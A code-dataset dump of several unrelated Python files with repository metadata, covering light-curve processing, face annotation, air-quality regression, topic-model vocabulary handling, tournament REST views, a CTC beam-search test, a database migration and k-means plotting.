constrain_yaxis_range=True, figformat=figformat) def read_input(fname: str, do_gls=False, known_columns=False): """ Reads the input list file with columns: object ID, [period, [dataset]] :param fname: string, the name of the input file :param do_gls: boolean, whether to perform GLS on the input time series. If False, the second column of the input file must contain the period. :param known_columns: boolean; whether the dataset to be used is known. If True, the last column of the input file must contain the number of the column. :return: ndarray(s) or None(s); 1-d arrays with the obect IDs, periods, and datasets """ dtypes = ['|S25'] # dtype for first column: identifiers if do_gls: if known_columns: usecols = (0, 1) dtypes = dtypes + ['i'] else: usecols = (0,) else: if known_columns: usecols = (0, 1, 2) dtypes = dtypes + ['f8'] + ['i'] else: usecols = (0, 1) dtypes = dtypes + ['f8'] arr = np.genfromtxt(fname, usecols=usecols, dtype=dtypes, unpack=False, comments='#', filling_values=np.nan, names=True) object_id = arr['id'].reshape(-1, ).astype(str) if do_gls: object_per = None else: object_per = arr['period'].reshape(-1, ) if known_columns: object_ap = arr['ap'].reshape(-1, ) else: object_ap = None return object_id, object_per, object_ap def read_lc(lcfile, n_data_cols: int = 1, is_err_col: bool = False, flag_column: bool = False, snr_column: bool = False, is_zperr_col: bool = False, missing_values="NaN", invalid_raise=False): assert n_data_cols > 0, "`n_datasets` must be non-zero integer" colnames = ['otime'] dtypes = [float] ncols = 1 for ii in range(n_data_cols): colnames.append('mag' + str(ii+1)) dtypes.append(float) ncols += 1 if is_err_col: # We expect the column following each magnitude column to contain the magnitude uncertainty colnames.append('magerr' + str(ii + 1)) dtypes.append(float) ncols += 1 if is_zperr_col: # The last column is expected to contain the zero-point error: colnames.append('zperr' + str(ii + 1)) dtypes.append(float) ncols += 1 if snr_column: # We expect the next column to contain the S/N colnames.append('snr' + str(ii + 1)) dtypes.append(float) ncols += 1 if flag_column: # We expect the next column to contain the flag colnames.append('flag' + str(ii + 1)) dtypes.append('|S10') ncols += 1 used_cols = list(range(ncols)) # Read light curve: lcdatain = np.genfromtxt(lcfile, unpack=False, comments='#', filling_values=np.nan, dtype=dtypes, usecols=used_cols, missing_values=missing_values, names=colnames, invalid_raise=invalid_raise) print(lcfile + " found.") lcdatain = lcdatain[~np.isnan(lcdatain['otime'])] return lcdatain def degrade_lc(otime, mag, magerr, zperr, period=1.0, remove_points=True, nkeep=50, min_otime=None, max_otime=None, add_noise=False, sigma_noise=0.05, add_phasegap=False, gap_pos=None, gap_length=0.1, add_outliers=False, sigma_outliers=0.1, frac_outliers=0.1, verbose=False): if min_otime is not None: mask = (otime > min_otime) otime, mag, magerr, zperr = otime[mask], mag[mask], magerr[mask], zperr[mask] if max_otime is not None: mask = (otime < max_otime) otime, mag, magerr, zperr = otime[mask], mag[mask], magerr[mask], zperr[mask] if add_phasegap: if gap_pos is None: # Make the phasegap's position random betwen 0 and 1: gap_pos = np.random.random() pha = ff.get_phases(period, otime, epoch=0.0, shift=0.0, all_positive=True) if gap_pos + gap_length > 1: not_gap_inds = [(pha < gap_pos) & (pha > (gap_pos - 1 + gap_length))] else: not_gap_inds = [(pha < gap_pos) | (pha > (gap_pos + gap_length))] mag = mag[not_gap_inds] otime = otime[not_gap_inds] magerr = magerr[not_gap_inds] zperr = zperr[not_gap_inds] if verbose: print("N_data = {} (after phase gap added)".format(len(mag))) if remove_points: nremove = len(mag) - nkeep if nremove > 0: rem_inds = np.random.choice(range(len(mag)), size=nremove, replace=False) otime = np.delete(otime, rem_inds) mag = np.delete(mag, rem_inds) magerr = np.delete(magerr, rem_inds) zperr = np.delete(zperr, rem_inds) if verbose: print("N_data = {} (after points removed)".format(len(mag))) out_inds = np.array([]) if add_outliers: out_inds = np.random.choice(range(len(mag)), size=int(len(mag) * frac_outliers), replace=False) mag[out_inds] = np.random.normal(mag[out_inds], sigma_outliers) if verbose: print("{} %% of points made outliers with sigma = {}".format(frac_outliers * 100.0, sigma_outliers)) if add_noise: mag = mag + np.random.normal(mag, sigma_outliers) magerr = magerr + sigma_noise return otime, mag, magerr, zperr, out_inds def plotlc(datasets, symbols=(), labels=(), fillerr_index=(), title=None, figtext="", minphase=-0.05, maxphase=2.05, figsave=False, outfile=None, invert_y_axis=True, constrain_yaxis_range=False, xlabel='phase', ylabel='magnitude', aspect_ratio=0.6, figformat="png"): capsize = 1 # size of the error cap assert type(datasets) is tuple, "Error: expected tuple for argument, got {}".format(type(datasets)) assert type(symbols) is tuple, "Error: expected tuple for argument, got {}".format(type(symbols)) assert (type(labels) is tuple), "Error: expected tuple for argument, got {}".format(type(labels)) assert (type(figtext) is str), "Error: expected string for argument, got {}".format(type(figtext)) # Check if there is a title, if yes, adjust plot to make it fit and write it. fig = plt.figure(figsize=(6, 6 * aspect_ratio)) if title is not None: if len(labels) > 0: fig.subplots_adjust(bottom=0.15, top=0.80, hspace=0.3, left=0.12, right=0.98, wspace=0) else: fig.subplots_adjust(bottom=0.15, top=0.88, hspace=0.3, left=0.12, right=0.98, wspace=0) fig.suptitle('%s' % title, fontsize=12, fontweight='bold') else: if len(labels) > 0: fig.subplots_adjust(bottom=0.15, top=0.88, hspace=0.3, left=0.12, right=0.98, wspace=0) else: fig.subplots_adjust(bottom=0.15, top=0.95, hspace=0.3, left=0.12, right=0.98, wspace=0) ax = fig.add_subplot(111, facecolor='#FFFFEC') nsymbols = len(symbols) nlabels = len(labels) # Iterate over the 'datasets' tuple: for item, dataset in enumerate(datasets): # assert(type(dataset) is ndarray) if dataset.shape[0] < 1: # check if dataset is empty continue ncols = dataset.shape[1] assert ncols > 1 # check if there are at least 2 columns phase = dataset[:, 0] mag = dataset[:, 1] if ncols > 2: magerr = dataset[:, 2] else: magerr = None if nsymbols > item: symbol = symbols[item] color = None else: symbol = 'o' color = next(ax._get_lines.prop_cycler)['color'] if nlabels > item: label = labels[item] else: label = None if item in fillerr_index: with warnings.catch_warnings(): warnings.simplefilter('ignore') base, = ax.plot(phase, mag, symbol, label=label, color=color, zorder=48) # Shade the 95% credible interval around the optimal solution. ax.fill(np.concatenate([phase.ravel(), phase.ravel()[::-1]]), np.concatenate([mag.ravel() - 1.9600 * magerr, (mag.ravel() + 1.9600 * magerr)[::-1]]), alpha=.4, fc=base.get_color(), ec='None', zorder=70) else: ax.errorbar(phase, mag, yerr=magerr, fmt=symbol, label=label, capsize=capsize, color=color) if maxphase > 1: ax.errorbar(phase + 1, mag, yerr=magerr, fmt=symbol, capsize=capsize, color=color) if nlabels > 0: plt.legend(fontsize=8, loc='upper center', bbox_to_anchor=(0.5, 1.20), ncol=4, fancybox=True, shadow=False) ax.set_xlabel(xlabel) ax.set_ylabel(ylabel) if len(figtext) > 0: ax.text(0.05, 1.02, "%s" % figtext, ha='left', va='top', bbox=dict(boxstyle='round', ec='k', fc='w'), transform=ax.transAxes) plt.xlim(minphase, maxphase) if constrain_yaxis_range: # The y axis range will be will be optimized for the range datasets[0][1]. # print(datasets[1][1]) minmag = np.min(datasets[1][:, 1]) maxmag = np.max(datasets[1][:, 1]) magrange = maxmag - minmag ax.set_ylim(minmag - magrange / 5., maxmag + magrange / 5.) if invert_y_axis: plt.gca().invert_yaxis() # plt.tight_layout() if figsave and (outfile is not None): fig.savefig(outfile, format=figformat) plt.close(fig) else: fig.show() return None def extend_phases(p, y, phase_ext_neg=0.0, phase_ext_pos=0.0, sort=False): """ Extend a phase and a corresponding data vector in phase. """ # Extend data vectors in phase: neg_ext_mask = (p - 1 > phase_ext_neg) # select phases in negative direction pos_ext_mask = (p + 1 < phase_ext_pos) # select phases in positive direction # Compose new data vectors according to extended phases: p_ext = np.hstack((p[neg_ext_mask] - 1, p, p[pos_ext_mask] + 1)) y_ext = np.hstack((y[neg_ext_mask], y, y[pos_ext_mask])) # magerr_ext=np.hstack((results['magerr_binned'][neg_ext_mask], results['magerr_binned'], # results['magerr_binned'][pos_ext_mask])) if sort: # Sort data according to observed phases: indx = np.argsort(p_ext) # indices of sorted ophase p_ext_sorted = p_ext[indx] y_ext_sorted = y_ext[indx] return p_ext_sorted, y_ext_sorted else: return p_ext, y_ext def smolec_feh(period, phi31, amp2): return -6.125 - 4.795 * period + 1.181 * phi31 + 7.876 * amp2
42.517375
133
0.582047
0
0
0
0
0
0
0
0
5,534
0.251271
9ff65d9e76edd0a7d15ce5ca32d68a653fd8c1bc
2,939
py
Python
facetool/annotator.py
yliess86/FaceTool
f93c511e9868b4555225750efbac2228a00fea00
[ "MIT" ]
4
2020-05-03T01:29:23.000Z
2020-07-15T08:13:05.000Z
facetool/annotator.py
yliess86/FaceTool
f93c511e9868b4555225750efbac2228a00fea00
[ "MIT" ]
3
2020-04-30T01:18:02.000Z
2020-05-01T14:52:11.000Z
facetool/annotator.py
yliess86/FaceCrop
f93c511e9868b4555225750efbac2228a00fea00
[ "MIT" ]
1
2020-05-16T21:27:24.000Z
2020-05-16T21:27:24.000Z
# -*- coding: utf-8 -*- """facetool.annotator The files provides a Face Annotator in charge of combining the result of the Face Detector and Face Landmark in a single pandas DataFrame. This Face Annotator is the API built to be used by the end user. """ from facetool.detector import FaceDetector from facetool.landmarker import FaceLandmarker from tqdm import tqdm from typing import Tuple import numpy as np import pandas as pd class FaceAnnotator: """Face Annotator Face Annotator combine the boxes of a Face Detector and the landmarks of a Face Landmarker in a single DataFrame that can later be used for analysis, further computation, or visualization. Arguments: dbatch_size {int} -- batch size for the detector inference lbatch_size {int} -- batch size for the landmarker frame loading size {Tuple[int, int]} -- resize frames for detector n_process {int} -- number of threads used by the landmarker device {str} -- device to run the detector on ("cpu" or "cuda") """ def __init__( self, dbatch_size: int, lbatch_size: int, size: Tuple[int, int], n_process: int, device: str, ) -> None: self.detector = FaceDetector(device, dbatch_size, size) self.landmarker = FaceLandmarker(n_process, lbatch_size) def __call__(self, path: str) -> pd.DataFrame: """Call Combines boxes and landmarks in a single DataFrame. Arguments: path {str} -- path to the video to be annotated Returns: pd.DataFrame -- dataframe containing boxes and landmarks informations of size [N, 1 + 4 + 68 * 2] where: * N -> valid frames (frame with face detected) * 1 -> frame_idx * 4 -> box_x, box_y, box_w, box_h * 68 * 2 -> landmark_i_x, landmark_i_y for i in range(68) """ boxes = self.detector(path) landmarks = self.landmarker(path, boxes) N, B = boxes.shape # Frames x Boxe Data N, L, P = landmarks.shape # Frames x Landmark x Coords # Combine Data data = np.zeros((N, B + L * P), dtype=int) pbar = tqdm(enumerate(zip(boxes, landmarks)), desc="Face Annotator") for i, (box, landmark) in pbar: data[i, 0:(4 + 1)] = box # t, x, y, w, h -> 5 data[i, 5::2] = landmark[:, 0] # x_0 .... x_68 -> 68 data[i, 6::2] = landmark[:, 1] # y_0 .... y_68 -> 68 # Helpers to Name Landmarks Columns lpos = lambda k: "x" if k == 0 else "y" lname = lambda j, k: f"landmark_{j + 1}_{lpos(k)}" # Landmarks Column Names names = ["frame_idx", "box_x", "box_y", "box_w", "box_h"] names += [lname(j, k) for j in range(L) for k in range(P)] # Create DataFrame df = pd.DataFrame(data=data, columns=names) return df
36.7375
78
0.600204
2,504
0.85199
0
0
0
0
0
0
1,681
0.571963
9ff7ddf37d375ebc0e9b1af36cfd6f7f85ab8e18
1,338
py
Python
pygrn/problems/air_quality.py
nico1as/pyGRN
115d9d42dfbd374fc64393cabefb2a8e245aa6b7
[ "Apache-2.0" ]
7
2018-07-18T16:08:51.000Z
2020-12-09T07:18:35.000Z
pygrn/problems/air_quality.py
nico1as/pyGRN
115d9d42dfbd374fc64393cabefb2a8e245aa6b7
[ "Apache-2.0" ]
3
2018-04-13T11:44:59.000Z
2018-04-19T13:58:06.000Z
pygrn/problems/air_quality.py
nico1as/pyGRN
115d9d42dfbd374fc64393cabefb2a8e245aa6b7
[ "Apache-2.0" ]
6
2018-07-22T01:54:14.000Z
2021-08-04T16:01:38.000Z
from __future__ import print_function import numpy as np import os from datetime import datetime from pygrn.problems import TimeRegression class AirQuality(TimeRegression): def __init__(self, namestr=datetime.now().isoformat(), learn=True, epochs=1, root_dir='./', lamarckian=False): data_file = os.path.join(root_dir, 'data/normalized_air_quality.csv') all_dat = np.genfromtxt(data_file, delimiter=',') winsize = 5 data = all_dat[:, 1:] labels = all_dat[winsize:, 0] windowed = data[:-winsize, :] for i in range(1, winsize): windowed = np.concatenate((windowed, data[i:-(winsize-i), :]), axis=1) num_train = int(3*np.floor(windowed.shape[0]/4)) self.x_train = windowed[:num_train, :] self.x_test = windowed[num_train:, :] self.y_train = labels[:num_train] self.y_test = labels[num_train:] self.batch_size = 30 self.epochs = epochs self.learn = learn self.generation = 0 self.error = 0.1 self.error_decrease = 0.9 self.lamarckian = lamarckian self.nin = data.shape[1] self.nout = 1 self.cacheable = False self.logfile = os.path.join(root_dir, 'logs/air_' + namestr + '.log')
31.857143
77
0.595665
1,196
0.893871
0
0
0
0
0
0
57
0.042601
9ff867269ebc563da12e37b56fdbdcb6807b0b80
3,572
py
Python
vocabulary.py
retrieva/python_stm
862e63e6f03b326cb036b1136dead280c42b9da8
[ "MIT" ]
11
2020-02-07T05:26:08.000Z
2021-11-27T09:51:24.000Z
vocabulary.py
retrieva/python_stm
862e63e6f03b326cb036b1136dead280c42b9da8
[ "MIT" ]
null
null
null
vocabulary.py
retrieva/python_stm
862e63e6f03b326cb036b1136dead280c42b9da8
[ "MIT" ]
1
2020-02-10T02:44:37.000Z
2020-02-10T02:44:37.000Z
# This code is available under the MIT License. # (c)2010-2011 Nakatani Shuyo / Cybozu Labs Inc. # (c)2018-2019 Hiroki Iida / Retrieva Inc. import nltk import re import MeCab stopwords_list = nltk.corpus.stopwords.words('english') recover_list = {"wa":"was", "ha":"has"} wl = nltk.WordNetLemmatizer() def load_corpus(ranges): """ load data from corpus """ tmp = re.match(r'(\d+):(\d+)$', ranges) if tmp: start = int(tmp.group(1)) end = int(tmp.group(2)) from nltk.corpus import brown as corpus return [corpus.words(fileid) for fileid in corpus.fileids()[start:end]] def load_dataframe(documents): corpus = [] for doc in documents: sentences = re.findall(r'\w+(?:\'\w+)?', doc) if len(sentences) > 0: corpus.append(sentences) return corpus def load_dataframe_jp(documents): corpus = [] tagger = MeCab.Tagger('-O wakati') tagger.parse("") for doc in documents: tokens = tagger.parse(doc.strip()).split() corpus.append(tokens) return corpus def load_file(filename): """ for one file one line corresponds to one doc """ corpus = [] f = open(filename, 'r') for line in f: doc = re.findall(r'\w+(?:\'\w+)?', line) if len(doc) > 0: corpus.append(doc) f.close() return corpus def is_stopword(w): return w in stopwords_list def lemmatize(w0): w = wl.lemmatize(w0.lower()) if w in recover_list: return recover_list[w] return w class Vocabulary: def __init__(self, excluds_stopwords=False): self.vocas = [] # id to word self.vocas_id = dict() # word to id self.docfreq = [] # id to document frequency self.excluds_stopwords = excluds_stopwords def term_to_id(self, term0): term = lemmatize(term0) if self.excluds_stopwords and is_stopword(term): return None if term not in self.vocas_id: voca_id = len(self.vocas) self.vocas_id[term] = voca_id self.vocas.append(term) self.docfreq.append(0) else: voca_id = self.vocas_id[term] return voca_id def doc_to_ids(self, doc): ids_list = [] words = dict() for term in doc: id = self.term_to_id(term) if id is not None: ids_list.append(id) if id not in words: words[id] = 1 self.docfreq[id] += 1 if "close" in dir(doc): doc.close() return ids_list def cut_low_freq(self, corpus, threshold=1): new_vocas = [] new_docfreq = [] self.vocas_id = dict() conv_map = dict() for id, term in enumerate(self.vocas): freq = self.docfreq[id] if freq > threshold: new_id = len(new_vocas) self.vocas_id[term] = new_id new_vocas.append(term) new_docfreq.append(freq) conv_map[id] = new_id self.vocas = new_vocas self.docfreq = new_docfreq def conv(doc): new_doc = [] for id in doc: if id in conv_map: new_doc.append(conv_map[id]) return new_doc return [conv(doc) for doc in corpus] def __getitem__(self, v): return self.vocas[v] def size(self): return len(self.vocas) def is_stopword_id(self, id): return self.vocas[id] in stopwords_list
26.072993
79
0.56075
2,028
0.567749
0
0
0
0
0
0
385
0.107783
9ffac072e4010a04d6f1b435f72c2103f99a9533
7,664
py
Python
kubb_match/views/rest.py
BartSaelen/kubb_match
848663bb3db5da73b726a956aa887c3eec30db8b
[ "Apache-2.0" ]
2
2015-05-03T13:42:27.000Z
2015-08-07T07:42:29.000Z
kubb_match/views/rest.py
BartSaelen/kubb_match
848663bb3db5da73b726a956aa887c3eec30db8b
[ "Apache-2.0" ]
2
2016-09-15T12:38:22.000Z
2016-09-15T12:41:18.000Z
kubb_match/views/rest.py
BartSaelen/kubb_match
848663bb3db5da73b726a956aa887c3eec30db8b
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- from pyramid.httpexceptions import HTTPBadRequest, HTTPNotFound from pyramid.view import view_defaults, view_config from kubb_match.data.mappers import map_team, map_game from kubb_match.data.models import Team from kubb_match.service.tournament_service import TournamentService class RestView(object): def __init__(self, request): self.request = request self.data_manager = request.data_managers['data_manager'] def _get_json_body(self): try: json_body = self.request.json_body except AttributeError as e: raise HTTPBadRequest(detail="Request bevat geen json body. \n%s" % e) except ValueError as e: raise HTTPBadRequest(detail="Request bevat incorrecte json body. \n%s" % e) if 'id' in self.request.matchdict and 'id' not in json_body: json_body['id'] = self.request.matchdict['id'] return json_body @view_defaults(renderer='json', accept='application/json') class TeamView(RestView): @view_config(route_name='teams', request_method='GET', permission='view', renderer='listjson') def get_teams(self): return self.data_manager.get_teams() @view_config(route_name='team', request_method='GET', permission='view', renderer='itemjson') def get_team(self): tid = self.request.matchdict['id'] t = self.data_manager.get_team(tid) if not t: return HTTPNotFound() return t def edit_team(self, t, json_body): t = map_team(json_body, t) t = self.data_manager.save(t) return t @view_config( route_name='teams', request_method='POST', permission='admin', renderer='itemjson' ) def add_team(self): team_data = self._get_json_body() t = Team() t = self.edit_team(t, team_data) self.request.response.status = '201' self.request.response.location = \ self.request.route_path('team', id=t.id) return t @view_config( route_name='team', request_method='PUT', permission='admin', renderer='itemjson' ) def update_team(self): tid = self.request.matchdict.get('id') t = self.data_manager.get_team(tid) if not t: return HTTPNotFound() team_data = self._get_json_body() if 'id' in self.request.matchdict and 'id' not in team_data: team_data['id'] = self.request.matchdict['id'] t = self.edit_team(t, team_data) self.request.response.status = '200' self.request.response.location = \ self.request.route_path('team', id=t.id) return t @view_defaults(renderer='json', accept='application/json') class RoundView(RestView): @view_config(route_name='rounds', request_method='GET', permission='view', renderer='listjson') def get_rounds(self): return self.data_manager.get_rounds() @view_config(route_name='round', request_method='GET', permission='view', renderer='itemjson') def get_round(self): rid = self.request.matchdict['id'] r = self.data_manager.get_round(rid) if not r: return HTTPNotFound() return r @view_config(route_name='round_games', request_method='GET', permission='view', renderer='listjson') def get_games(self): rid = self.request.matchdict['id'] r = self.data_manager.get_round(rid) return r.games @view_config(route_name='round_game', request_method='GET', permission='view', renderer='itemjson') def get_game(self): rid = self.request.matchdict['id'] r = self.data_manager.get_round(rid) if not r: return HTTPNotFound() gid = self.request.matchdict['gid'] game = self.data_manager.get_game(gid) return game @view_config(route_name='round_game', request_method='PUT', permission='view', renderer='itemjson') def edit_game(self): rid = self.request.matchdict['id'] r = self.data_manager.get_round(rid) if not r: return HTTPNotFound() gid = self.request.matchdict['gid'] game = self.data_manager.get_game(gid) game_data = self._get_json_body() if 'gid' in self.request.matchdict and 'gid' not in game_data: game_data['gid'] = self.request.matchdict['gid'] game = map_game(game_data, game) game = self.data_manager.save(game) return game @view_config(route_name='round_positions', request_method='GET', permission='view', renderer='listjson') def get_positions(self): rid = self.request.matchdict['id'] r = self.data_manager.get_round(rid) return r.positions @view_defaults(renderer='json', accept='application/json') class TournamentPhaseView(RestView): def __init__(self, request): super().__init__(request) self.tournament_service = TournamentService(self.data_manager) @view_config(route_name='phases', request_method='GET', permission='view', renderer='listjson') def get_phases(self): return self.data_manager.get_phases() @view_config(route_name='phase', request_method='GET', permission='view', renderer='itemjson') def get_phase(self): pid = self.request.matchdict['id'] p = self.data_manager.get_phase(pid) if not p: return HTTPNotFound() return p @view_config(route_name='phase_status', request_method='POST', permission='view', renderer='itemjson') def tournament_phase_status(self): data = self._get_json_body() pid = self.request.matchdict['id'] if 'status' not in data: return HTTPBadRequest('status should be present') else: status = data['status'] round = None p = self.data_manager.get_phase(pid) if status == 'init': if not p: return HTTPNotFound() if p.type == 'battle': round = self.tournament_service.init_battle_phase(p) elif p.type == 'ko': p1 = self.data_manager.get_phase(1) lr = next((r for r in p1.rounds if not r.played)) round = self.tournament_service.init_ko_phase(p, lr.positions) round = round['A'] elif status == 'next': if p.type == 'battle': round = self.tournament_service.next_battle_round(p) elif p.type == 'ko': round = self.tournament_service.next_ko_round(p) round = round[0] elif status == 'final': if p.type == 'battle': round = self.tournament_service.final_battle_round(p) elif p.type == 'ko': round = self.tournament_service.final_ko_round(p) round = round[0] else: return HTTPBadRequest('invalid phase_type') self.request.response.status = '201' self.request.response.location = \ self.request.route_path('round', id=round.id)
34.678733
87
0.579201
7,172
0.935804
0
0
6,714
0.876044
0
0
840
0.109603
9ffb3711d6a34d1adba73090bd3c202a99a4f456
2,651
py
Python
CTCWordBeamSearch-master/tests/test_word_beam_search.py
brucegrapes/htr
9f8f07173ccc740dd8a4dfc7e8038abe36664756
[ "MIT" ]
488
2018-03-01T11:18:26.000Z
2022-03-10T09:29:32.000Z
CTCWordBeamSearch-master/tests/test_word_beam_search.py
brucegrapes/htr
9f8f07173ccc740dd8a4dfc7e8038abe36664756
[ "MIT" ]
60
2018-03-10T18:37:51.000Z
2022-03-30T19:37:18.000Z
CTCWordBeamSearch-master/tests/test_word_beam_search.py
brucegrapes/htr
9f8f07173ccc740dd8a4dfc7e8038abe36664756
[ "MIT" ]
152
2018-03-01T11:18:25.000Z
2022-03-08T23:37:46.000Z
import codecs import numpy as np from word_beam_search import WordBeamSearch def apply_word_beam_search(mat, corpus, chars, word_chars): """Decode using word beam search. Result is tuple, first entry is label string, second entry is char string.""" T, B, C = mat.shape # decode using the "Words" mode of word beam search with beam width set to 25 and add-k smoothing to 0.0 assert len(chars) + 1 == C wbs = WordBeamSearch(25, 'Words', 0.0, corpus.encode('utf8'), chars.encode('utf8'), word_chars.encode('utf8')) label_str = wbs.compute(mat) # result is string of labels terminated by blank char_str = [] for curr_label_str in label_str: s = '' for label in curr_label_str: s += chars[label] # map label to char char_str.append(s) return label_str[0], char_str[0] def load_mat(fn): """Load matrix from csv and apply softmax.""" mat = np.genfromtxt(fn, delimiter=';')[:, :-1] # load matrix from file T = mat.shape[0] # dim0=t, dim1=c # apply softmax res = np.zeros(mat.shape) for t in range(T): y = mat[t, :] e = np.exp(y) s = np.sum(e) res[t, :] = e / s # expand to TxBxC return np.expand_dims(res, 1) def test_mini_example(): """Mini example, just to check that everything is working.""" corpus = 'a ba' # two words "a" and "ba", separated by whitespace chars = 'ab ' # the first three characters which occur in the matrix (in this ordering) word_chars = 'ab' # whitespace not included which serves as word-separating character mat = np.array([[[0.9, 0.1, 0.0, 0.0]], [[0.0, 0.0, 0.0, 1.0]], [[0.6, 0.4, 0.0, 0.0]]]) # 3 time-steps and 4 characters per time time ("a", "b", " ", blank) res = apply_word_beam_search(mat, corpus, chars, word_chars) print('') print('Mini example:') print('Label string:', res[0]) print('Char string:', '"' + res[1] + '"') assert res[1] == 'ba' def test_real_example(): """Real example using a sample from a HTR dataset.""" data_path = '../data/bentham/' corpus = codecs.open(data_path + 'corpus.txt', 'r', 'utf8').read() chars = codecs.open(data_path + 'chars.txt', 'r', 'utf8').read() word_chars = codecs.open(data_path + 'wordChars.txt', 'r', 'utf8').read() mat = load_mat(data_path + 'mat_2.csv') res = apply_word_beam_search(mat, corpus, chars, word_chars) print('') print('Real example:') print('Label string:', res[0]) print('Char string:', '"' + res[1] + '"') assert res[1] == 'submitt both mental and corporeal, is far beyond any idea'
35.346667
115
0.614485
0
0
0
0
0
0
0
0
1,075
0.405507
9ffdc1e59bb26b37e4cdbdb001abd755fccd616d
859
py
Python
src/api/migrations/versions/2021-09-25_add_session_type_and_instructor.py
YACS-RCOS/yacs.n
a04f8e79279826914b942e3a8c709c50f08ff149
[ "MIT" ]
20
2020-02-29T19:03:31.000Z
2022-02-18T21:13:12.000Z
src/api/migrations/versions/2021-09-25_add_session_type_and_instructor.py
YACS-RCOS/yacs.n
a04f8e79279826914b942e3a8c709c50f08ff149
[ "MIT" ]
465
2020-02-29T19:08:18.000Z
2022-03-18T22:21:49.000Z
src/api/migrations/versions/2021-09-25_add_session_type_and_instructor.py
YACS-RCOS/yacs.n
a04f8e79279826914b942e3a8c709c50f08ff149
[ "MIT" ]
19
2020-02-29T01:22:23.000Z
2022-02-14T01:47:09.000Z
"""add session type and instructor Revision ID: 54df4fb8dfe9 Revises: a3be4710680d Create Date: 2021-09-25 03:08:18.501929 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '54df4fb8dfe9' down_revision = 'a3be4710680d' branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.add_column('course_session', sa.Column('instructor', sa.VARCHAR(length=255), nullable=True)) op.add_column('course_session', sa.Column('session_type', sa.VARCHAR(length=255), nullable=True)) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_column('course_session', 'session_type') op.drop_column('course_session', 'instructor') # ### end Alembic commands ###
27.709677
101
0.71362
0
0
0
0
0
0
0
0
494
0.575087
9ffddf9f2ec970e9ca9b3a8192c022d87d76144d
1,656
py
Python
plot_data.py
qzane/kmeans-cuda
f2a0e8dd6859cf735c95e1365342f4623f0a71ff
[ "MIT" ]
null
null
null
plot_data.py
qzane/kmeans-cuda
f2a0e8dd6859cf735c95e1365342f4623f0a71ff
[ "MIT" ]
null
null
null
plot_data.py
qzane/kmeans-cuda
f2a0e8dd6859cf735c95e1365342f4623f0a71ff
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue Nov 27 22:31:17 2018 @author: qzane """ import numpy as np import matplotlib.pyplot as plt from argparse import ArgumentParser def read_points(fname): points = [] with open(fname) as f: while(1): tmp = f.readline() if tmp == '': break if ',' in tmp: f1,f2 = tmp.split(',')[:2] f1,f2 = float(f1), float(f2) points.append((f1,f2)) return np.array(points) def read_classes(fname): classes = [] with open(fname) as f: while(1): tmp = f.readline() if tmp == '': break _class = int(tmp) classes.append(_class) return np.array(classes) def plot(points, classes): assert(points.shape[0]==classes.shape[0]) num_classes = classes.max()+1 cmap = plt.get_cmap('jet') colors = [cmap(i) for i in np.linspace(0, 1, num_classes)] for i in range(num_classes): plt.plot(points[classes==i,0], points[classes==i,1], 'x', color=colors[i]) plt.show() if __name__ == "__main__": parser = ArgumentParser() parser.add_argument('-p', '--points', action='store', type=str, required=True, help='points.txt') parser.add_argument('-c', '--classes', action='store', type=str, required=True, help='classes.txt') args = parser.parse_args() points = read_points(args.points) classes = read_classes(args.classes) plot(points, classes)
25.090909
83
0.532609
0
0
0
0
0
0
0
0
200
0.120773